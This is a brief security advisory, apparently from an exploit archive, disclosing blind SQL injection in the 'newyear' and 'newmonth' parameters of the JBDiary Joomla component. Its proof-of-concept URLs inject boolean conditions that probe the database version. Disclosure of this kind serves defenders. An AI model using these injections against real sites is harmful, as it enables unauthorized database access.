Joomla Component (JBDiary) BLIND SQL Injection Vulnerabilities

==============================================================
Joomla Component (JBDiary) BLIND SQL Injection Vulnerabilities
==============================================================

[~]>> ...[BEGIN ADVISORY]...
 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 
[~]>> TITLE: Joomla (JBDiary) BLIND SQL Injection Vulnerabilities
[~]>> LANGUAGE: PHP
[~]>> DORK: N/A
[~]>> RESEARCHER: B-HUNT3|2
[~]>> TYPE: COMMERCIAL
[~]>> PRICE: 5?
[~]>> TESTED ON: Demo Site
 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 
[~]>> DESCRIPTION: Multiple input vars are vulnerable to SQL code injection.
[~]>> AFFECTED VERSIONS: Confirmed in 1.6 but probably other versions also.
[~]>> RISK: High/Medium
[~]>> IMPACT: Execute Arbitrary SQL queries
 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
 
[~]>> PROOFS OF CONCEPT:
 
[~]>> http://server/?newyear=[SQL]&newmonth=[SQL]
 
 
[~]>> -----{VAR NEWYEAR}-----
 
[~]>> {RETURN TRUE}
[~]>> http://server/?newyear=2011'+and+substring(@@version,1,1)=4%23&newmonth=01
[~]>> {RETURN FALSE}
[~]>> http://server/?newyear=2011'+and+substring(@@version,1,1)=5%23&newmonth=01
 
[~]>> -----{VAR NEWMONTH}-----
 
[~]>> {RETURN TRUE}
[~]>> http://server/?newyear=2011&newmonth=01'+and+substring(@@version,1,1)=4%23
[~]>> {RETURN FALSE}
[~]>> http://server/?newyear=2011&newmonth=01'+and+substring(@@version,1,1)=5%23
 
[~]>> Note: True or False is visible in calendar's colors.
 
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!



#  0day.today [2018-01-04]  #